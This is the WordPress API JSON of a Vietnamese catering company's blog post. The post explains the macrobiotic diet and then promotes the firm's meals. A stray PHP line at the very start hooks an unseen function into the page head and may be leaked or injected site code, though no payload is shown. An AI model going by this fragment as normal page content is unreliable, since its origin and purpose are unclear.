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add_action('wp_head', 'load_frontend_assets');/**<js>*/{"id":1029,"date":"2019-07-02T16:14:31","date_gmt":"2019-07-02T09:14:31","guid":{"rendered":"http:\/\/carrotcatering.com.vn\/?p=1029"},"modified":"2026-05-24T14:13:18","modified_gmt":"2026-05-24T07:13:18","slug":"thuc-duong-an-lanh-manh-khoe-tu-goc__trashed","status":"publish","type":"post","link":"https:\/\/carrotcatering.vn\/en\/thuc-duong-an-lanh-manh-khoe-tu-goc__trashed\/","title":{"rendered":"Th\u1ef1c d\u01b0\u1ee1ng: \u0102n l\u00e0nh m\u1ea1nh \u2013 Kh\u1ecfe t\u1eeb g\u1ed1c"},"content":{"rendered":"\n<p><strong><em>D\u00f9 ch\u1ec9 m\u1edbi \u0111\u01b0\u1ee3c bi\u1ebft \u0111\u1ebfn trong th\u1eddi gian g\u1ea7n \u0111\u00e2y nh\u01b0ng ph\u01b0\u01a1ng ph\u00e1p th\u1ef1c d\u01b0\u1ee1ng (Macrobiotics)\u00a0\u0111\u00e3 \u0111\u01b0\u1ee3c nhi\u1ec1u ng\u01b0\u1eddi t\u00ecm hi\u1ec3u v\u00e0 \u01b0a chu\u1ed9ng. Nh\u01b0ng th\u1ef1c d\u01b0\u1ee1ng th\u1ef1c ch\u1ea5t l\u00e0 nh\u01b0 th\u1ebf n\u00e0o? H\u00e3y c\u00f9ng Carrot Catering t\u00ecm hi\u1ec3u.<\/em><\/strong><\/p>\n\n\n\n<p><strong>Ch\u1ebf \u0111\u1ed9 th\u1ef1c d\u01b0\u1ee1ng l\u00e0 g\u00ec?<\/strong><\/p>\n\n\n\n<p>Th\u1ef1c d\u01b0\u1ee1ng Ohsawa l\u00e0 m\u1ed9t ch\u1ebf \u0111\u1ed9 \u0103n gi\u00fap c\u00e2n b\u1eb1ng c\u01a1 th\u1ec3 t\u1ea1o n\u00ean m\u1ed9t l\u1ed1i s\u1ed1ng h\u00e0i h\u00f2a, t\u00ean c\u1ee7a ph\u01b0\u01a1ng ph\u00e1p n\u00e0y \u0111\u01b0\u1ee3c \u0111\u1eb7t theo t\u00ean c\u1ee7a ng\u01b0\u1eddi s\u00e1ng l\u1eadp \u2013 George Ohsawa, m\u1ed9t tri\u1ebft gia ng\u01b0\u1eddi Nh\u1eadt. \u00d4ng tin v\u00e0o c\u00e1ch ti\u1ebfp c\u1eadn ho\u00e0n to\u00e0n m\u1edbi \u0111\u1ed1i v\u1edbi s\u1ee9c kh\u1ecfe trong vi\u1ec7c k\u1ebft h\u1ee3p l\u1ed1i s\u1ed1ng, t\u1eadp th\u1ec3 d\u1ee5c, thi\u1ec1n \u0111\u1ecbnh v\u00e0 h\u00e0i h\u00f2a y\u1ebfu t\u1ed1 \u00e2m \u2013 d\u01b0\u01a1ng trong c\u00e1c lo\u1ea1i th\u1ef1c ph\u1ea9m. \u0110i\u1ec1u \u0111\u00f3 c\u00f3 ngh\u0129a l\u00e0 v\u1edbi ph\u01b0\u01a1ng ph\u00e1p n\u00e0y, ch\u00fang ta kh\u00f4ng n\u00ean \u0103n qu\u00e1 nhi\u1ec1u th\u1ef1c ph\u1ea9m m\u00e0 ph\u1ea3i ph\u00e2n b\u1ed5 theo t\u1ef7 l\u1ec7 v\u1eeba ph\u1ea3i, th\u1ef1c ph\u1ea9m c\u00e0ng \u00edt qua ch\u1ebf bi\u1ebfn, \u00edt n\u00eam n\u1ebfm v\u1edbi c\u00e1c lo\u1ea1i gia v\u1ecb c\u00f4ng nghi\u1ec7p, c\u00e1c ch\u1ea5t ph\u1ee5 gia c\u00e0ng t\u1ed1t.<\/p>\n\n\n\n<p>Ch\u1ebf \u0111\u1ed9 n\u00e0y t\u1eadp trung v\u00e0o vi\u1ec7c l\u1ef1a ch\u1ecdn s\u1ea3n ph\u1ea9m h\u1eefu c\u01a1, \u0111\u01b0\u1ee3c tr\u1ed3ng t\u1ea1i \u0111\u1ecba ph\u01b0\u01a1ng v\u00e0 theo m\u00f9a. N\u00f3i chung, ch\u1ebf \u0111\u1ed9 \u0103n u\u1ed1ng th\u1ef1c d\u01b0\u1ee1ng \u0111\u01b0\u1ee3c chia kho\u1ea3ng nh\u01b0 sau:<\/p>\n\n\n\n<p>Kho\u1ea3ng 40-60% th\u1ef1c ph\u1ea9m = wholegrains nh\u01b0 g\u1ea1o n\u00e2u, l\u00faa m\u1ea1ch, y\u1ebfn m\u1ea1ch, ki\u1ec1u m\u1ea1ch<\/p>\n\n\n\n<p>Kho\u1ea3ng 20-30% th\u1ef1c ph\u1ea9m = tr\u00e1i c\u00e2y v\u00e0 rau qu\u1ea3<\/p>\n\n\n\n<p>Kho\u1ea3ng 10% &#8211; 25% = c\u00e1c s\u1ea3n ph\u1ea9m t\u1eeb \u0111\u1eadu v\u00e0 \u0111\u1eadu nh\u01b0 \u0111\u1eadu ph\u1ee5, miso v\u00e0 tempeh (m\u00f3n \u0103n l\u00e0m t\u1eeb \u0111\u1eadu n\u00e0nh), c\u00e1c lo\u1ea1i rong bi\u1ec3n.<\/p>\n\n\n\n<p>Th\u1ef1c d\u01b0\u1ee1ng c\u00f3 th\u1ec3 mang l\u1ea1i l\u1ee3i \u00edch s\u1ee9c kh\u1ecfe cho m\u1ed9t s\u1ed1 ng\u01b0\u1eddi khi \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng nh\u01b0 m\u1ed9t li\u1ec7u ph\u00e1p b\u1ed5 sung. Duy tr\u00ec \u0111\u01b0\u1ee3c ch\u1ebf \u0111\u1ed9 \u0103n u\u1ed1ng l\u00e2u d\u00e0i c\u00f3 th\u1ec3 gi\u00fap tinh th\u1ea7n th\u01b0 gi\u00e3n v\u00e0 th\u00f4ng tu\u1ec7 trong c\u1ea3 c\u00e1ch suy ngh\u0129, h\u00e0nh \u0111\u1ed9ng.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"http:\/\/bsin.vn\/images\/new\/%E1%BA%A3nh_Viber_2019-06-28_15-16-00.jpg\" alt=\"\u1ea3nh Viber 2019 06 28 15 16 00\"\/><\/figure>\n\n\n\n<p>C\u00f3 nhi\u1ec1u ng\u01b0\u1eddi l\u1ea7m t\u01b0\u1edfng r\u1eb1ng th\u1ef1c d\u01b0\u1ee1ng ch\u00ednh l\u00e0 \u0103n chay, c\u0169ng \u0111\u00fang n\u1ebfu nh\u01b0 b\u1ea1n \u0111\u1ea1t \u0111\u01b0\u1ee3c m\u1ee9c cao nh\u1ea5t ch\u1ebf \u0111\u1ed9 th\u1ef1c d\u01b0\u1ee1ng. \u201cD\u1ee5c t\u1ed1c b\u1ea5t \u0111\u1ea1t\u201d, l\u00e0m vi\u1ec7c g\u00ec c\u0169ng ph\u1ea3i \u0111i t\u1eebng b\u01b0\u1edbc m\u1ed9t theo quy tr\u00ecnh c\u1ee5 th\u1ec3 th\u00ec m\u1edbi \u0111\u1ea1t \u0111\u01b0\u1ee3c k\u1ebft qu\u1ea3 t\u1ed1t. Ch\u00fang ta c\u00f3 6 nh\u00f3m th\u1ef1c ph\u1ea9m ch\u00ednh c\u1ea7n ph\u1ea3i tu\u00e2n theo: G\u1ea1o l\u1ee9t; C\u00e1c lo\u1ea1i rau c\u1ee7 (x\u00e0o, h\u1ea5p, lu\u1ed9c); Rau s\u1ed1ng, tr\u00e1i c\u00e2y; Th\u1ecbt; Canh (s\u00fap); \u0110\u1ed3 ng\u1ecdt tr\u00e1ng mi\u1ec7ng. Khi b\u1ea1n m\u1edbi \u00e1p d\u1ee5ng c\u00e1ch \u0103n n\u00e0y th\u00ec trong th\u1ef1c \u0111\u01a1n v\u1eabn c\u00f3 th\u1ecbt, c\u00e1, tr\u1ee9ng, s\u1eefa, nh\u1eefng ch\u1ea5t c\u00f3 protein \u0111\u1ed9ng v\u1eadt v\u00e0 \u0111\u1ebfn khi c\u01a1 th\u1ec3 ch\u00fang ta quen d\u1ea7n th\u00ec s\u1ebd gi\u1ea3m d\u1ea7n \u0111\u1ebfn m\u1ed9t m\u1ee9c n\u00e0o \u0111\u00f3 m\u00e0 th\u1ef1c \u0111\u01a1n kh\u00f4ng c\u00f2n ch\u1ee9a th\u1ecbt, c\u00e1 n\u1eefa v\u00e0 ho\u00e0n to\u00e0n ch\u1ec9 c\u00f2n g\u1ea1o l\u1ee9t, rau c\u1ee7, tr\u00e1i c\u00e2y v\u00e0 rau s\u1ed1ng. Nh\u01b0 v\u1eady, th\u1ef1c d\u01b0\u1ee1ng c\u00e0ng cao th\u00ec c\u00e0ng g\u1ea7n v\u1edbi \u0103n chay.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"http:\/\/bsin.vn\/images\/new\/%E1%BA%A3nh_Viber_2019-06-28_15-15-57.jpg\" alt=\"\u1ea3nh Viber 2019 06 28 15 15 57\"\/><\/figure>\n\n\n\n<p>N\u1ebfu b\u1ea1n mu\u1ed1n c\u00f3 m\u1ed9t b\u1eefa \u0103n th\u1ef1c d\u01b0\u1ee1ng \u0111\u00fang ngh\u0129a, \u0111\u1ea7y \u0111\u1ee7 ch\u1ea5t dinh d\u01b0\u1ee1ng nh\u01b0ng l\u1ea1i kh\u00f4ng c\u00f3 th\u1eddi gian chu\u1ea9n b\u1ecb, h\u00e3y \u0111\u1ec3 Carrot Catering gi\u00fap b\u1ea1n. Carrot Catering ra \u0111\u1eddi v\u1edbi t\u00e2m huy\u1ebft c\u1ee7a nh\u1eefng tr\u00e1i tim nhi\u1ec7t huy\u1ebft, \u0111am m\u00ea \u1ea9m th\u1ef1c, mong mu\u1ed1n cung c\u1ea5p cho m\u1ecdi ng\u01b0\u1eddi nh\u1eefng b\u1eefa \u0103n ngon, \u0111\u1ea7y \u0111\u1ee7 ch\u1ea5t l\u01b0\u1ee3ng, dinh d\u01b0\u1ee1ng. Trong nh\u1eefng n\u0103m qua, Carrot kh\u00f4ng ng\u1eebng c\u1ea3i ti\u1ebfn, n\u00e2ng cao tay ngh\u1ec1, \u0111\u1ea7u t\u01b0 m\u00e1y ki\u1ec3m tra d\u01b0 l\u01b0\u1ee3ng h\u00f3a ch\u1ea5t trong th\u1ef1c ph\u1ea9m \u0111\u1ed1i v\u1edbi rau c\u1ee7 v\u00e0 ch\u1ea5t t\u0103ng tr\u1ecdng trong ch\u0103n nu\u00f4i; M\u00e1y \u0111o \u0111\u1ed9 m\u1eb7n c\u1ee7a m\u00f3n \u0103n nh\u1eb1m \u0111em l\u1ea1i kh\u1ea9u v\u1ecb \u1ed5n \u0111\u1ecbnh cho b\u1eefa \u0103n; M\u00e1y \u0111o nhi\u1ec7t \u0111\u1ed9 tr\u01b0\u1edbc khi ph\u1ee5c v\u1ee5 \u0111\u1ec3 \u0111em l\u1ea1i ch\u1ea5t l\u01b0\u1ee3ng m\u00f3n \u0103n ngon, \u0111\u1ea3m b\u1ea3o ph\u00f9 h\u1ee3p v\u1ec7 sinh an to\u00e0n th\u1ef1c ph\u1ea9m. C\u00f9ng v\u1edbi \u0111\u00f3 l\u00e0 \u0111\u1ed9i ng\u0169 chuy\u00ean gia dinh d\u01b0\u1ee1ng kh\u00f4ng ng\u1eebng nghi\u00ean c\u1ee9u v\u00e0 \u0111\u01b0a ra nh\u1eefng th\u1ef1c \u0111\u01a1n h\u1ea5p d\u1eabn, b\u1ed5 d\u01b0\u1ee1ng, \u0111\u00e1p \u1ee9ng ti\u00eau ch\u00ed b\u1ea3o v\u1ec7 s\u1ee9c kh\u1ecfe ngay t\u1eeb b\u00ean trong. Ch\u1eafc ch\u1eafn nh\u1eefng m\u00f3n \u0103n th\u1ef1c d\u01b0\u1ee1ng do Carrot cung c\u1ea5p s\u1ebd d\u1ec5 d\u00e0ng chinh ph\u1ee5c b\u1ea5t k\u00ec t\u00edn \u0111\u1ed3 y\u00eau th\u00edch nh\u1eefng m\u00f3n \u0103n healthy, nh\u1eefng ng\u01b0\u1eddi lu\u00f4n quan t\u00e2m \u0111\u1ebfn vi\u1ec7c b\u1ea3o v\u1ec7 s\u1ee9c kh\u1ecfe c\u1ee7a ch\u00ednh m\u00ecnh.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"http:\/\/bsin.vn\/images\/new\/CRC2-1.jpg\" alt=\"CRC2 1\"\/><\/figure>\n\n\n\n<p><strong>&#8211; CARROT CATERING-<\/strong><\/p>\n\n\n\n<p><strong>Hotline<\/strong>: 0934260377 ( Mr. To\u00e0n).<\/p>\n\n\n\n<p><strong>\u0110\u1ecba ch\u1ec9<\/strong>: 31\/7 Ng\u00f4 \u0110\u1ee9c K\u1ebf, Ph\u01b0\u1eddng 12, Qu\u1eadn B\u00ecnh Th\u1ea1nh, TP.HCM<\/p>\n\n\n\n<p><strong>Fanpage:&nbsp;<a href=\"https:\/\/www.facebook.com\/tieccuamoinha\/\">Carrot Catering<\/a><\/strong><\/p>\n\n\n\n<p><strong>Website<\/strong>:&nbsp;<strong><a href=\"http:\/\/www.carrotcatering.com.vn\/\">www.carrotcatering.com.vn<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>D\u00f9 ch\u1ec9 m\u1edbi \u0111\u01b0\u1ee3c bi\u1ebft \u0111\u1ebfn trong th\u1eddi gian g\u1ea7n \u0111\u00e2y nh\u01b0ng ph\u01b0\u01a1ng ph\u00e1p th\u1ef1c d\u01b0\u1ee1ng (Macrobiotics)\u00a0\u0111\u00e3 \u0111\u01b0\u1ee3c nhi\u1ec1u ng\u01b0\u1eddi t\u00ecm hi\u1ec3u v\u00e0 \u01b0a chu\u1ed9ng. Nh\u01b0ng th\u1ef1c d\u01b0\u1ee1ng th\u1ef1c ch\u1ea5t l\u00e0 nh\u01b0 th\u1ebf n\u00e0o? H\u00e3y c\u00f9ng Carrot Catering t\u00ecm hi\u1ec3u. Ch\u1ebf \u0111\u1ed9 th\u1ef1c d\u01b0\u1ee1ng l\u00e0 g\u00ec? Th\u1ef1c d\u01b0\u1ee1ng Ohsawa l\u00e0 m\u1ed9t ch\u1ebf \u0111\u1ed9 \u0103n gi\u00fap [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"yst_prominent_words":[94,142,137],"class_list":["post-1029","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/carrotcatering.vn\/en\/wp-json\/wp\/v2\/posts\/1029","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/carrotcatering.vn\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/carrotcatering.vn\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/carrotcatering.vn\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/carrotcatering.vn\/en\/wp-json\/wp\/v2\/comments?post=1029"}],"version-history":[{"count":0,"href":"https:\/\/carrotcatering.vn\/en\/wp-json\/wp\/v2\/posts\/1029\/revisions"}],"wp:attachment":[{"href":"https:\/\/carrotcatering.vn\/en\/wp-json\/wp\/v2\/media?parent=1029"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/carrotcatering.vn\/en\/wp-json\/wp\/v2\/categories?post=1029"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/carrotcatering.vn\/en\/wp-json\/wp\/v2\/tags?post=1029"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/carrotcatering.vn\/en\/wp-json\/wp\/v2\/yst_prominent_words?post=1029"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}